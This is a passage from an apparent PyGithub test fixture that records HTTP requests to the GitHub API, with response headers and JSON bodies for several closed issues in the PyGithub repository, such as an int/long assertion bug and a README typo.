X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '125'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 12 Sep 2012 18:38:55 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4255e5086bc19b2096e05eb6dad041ee"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:34:59 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"} https GET api.github.com None /issues?sort=comments&direction=asc&since=2012-05-28T23%3A00%3A00Z&labels=Requested+by+user&filter=assigned&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '276385'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:20:54 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"16804c53098398def5970814e79a2cf5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:35:00 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/81/events","html_url":"https://github.com/jacquev6/PyGithub/issues/81","id":6816576,"number":81,"title":"Complete Legacy.convertXxx","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":0,"created_at":"2012-09-12T12:14:46Z","updated_at":"2012-09-12T18:40:47Z","closed_at":"2012-09-12T18:40:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Legacy.convertXxx discards some useful information and this leads to API calls that could be avoided."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/116/events","html_url":"https://github.com/jacquev6/PyGithub/issues/116","id":8495415,"number":116,"title":"Assertion failure on big numbers","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/17","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/17/labels","id":215837,"number":17,"title":"Version 1.9.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":2,"state":"closed","created_at":"2012-11-20T07:36:46Z","updated_at":"2012-11-20T18:42:30Z","due_on":null},"comments":0,"created_at":"2012-11-20T07:35:10Z","updated_at":"2012-11-20T18:42:08Z","closed_at":"2012-11-20T18:42:08Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"(Issue reported by private mail)\n\nIn some Github Enterprise install, there can be a plan with 999999999999 private repositories. This doesn't fit in an int, but in a long. The assertion `isinstance(attributes[\"private_repos\"], int)` on https://github.com/jacquev6/PyGithub/blob/master/github/Plan.py#L50 fails.\n\nI will replace all occurrences of `isinstance(xxx, int)` by `isinstance(x, (int, long))`."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/86/events","html_url":"https://github.com/jacquev6/PyGithub/issues/86","id":6889934,"number":86,"title":"Include tests in pypi tarball","user":{"login":"koobs","id":1011612,"avatar_url":"https://secure.gravatar.com/avatar/a083cdd9096b4a5623a298d6b4d590a8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a083cdd9096b4a5623a298d6b4d590a8","url":"https://api.github.com/users/koobs","html_url":"https://github.com/koobs","followers_url":"https://api.github.com/users/koobs/followers","following_url":"https://api.github.com/users/koobs/following{/other_user}","gists_url":"https://api.github.com/users/koobs/gists{/gist_id}","starred_url":"https://api.github.com/users/koobs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/koobs/subscriptions","organizations_url":"https://api.github.com/users/koobs/orgs","repos_url":"https://api.github.com/users/koobs/repos","events_url":"https://api.github.com/users/koobs/events{/privacy}","received_events_url":"https://api.github.com/users/koobs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":1,"created_at":"2012-09-14T23:22:10Z","updated_at":"2012-09-17T16:57:45Z","closed_at":"2012-09-17T16:57:45Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Will help QA and regression test the devel/py-pygithub FreeBSD port"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/114/events","html_url":"https://github.com/jacquev6/PyGithub/issues/114","id":8339699,"number":114,"title":"typo in ReadMe.md","user":{"login":"tymofij","id":123786,"avatar_url":"https://secure.gravatar.com/avatar/253b410d7a41999c754970a3aa34834e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"253b410d7a41999c754970a3aa34834e","url":"https://api.github.com/users/tymofij","html_url":"https://github.com/tymofij","followers_url":"https://api.github.com/users/tymofij/followers","following_url":"https://api.github.com/users/tymofij/following{/other_user}","gists_url":"https://api.github.com/users/tymofij/gists{/gist_id}","starred_url":"https://api.github.com/users/tymofij/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tymofij/subscriptions","organizations_url":"https://api.github.com/users/tymofij/orgs","repos_url":"https://api.github.com/users/tymofij/repos","events_url":"https://api.github.com/users/tymofij/events{/privacy}","received_events_url":"https://api.github.com/users/tymofij/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":1,"created_at":"2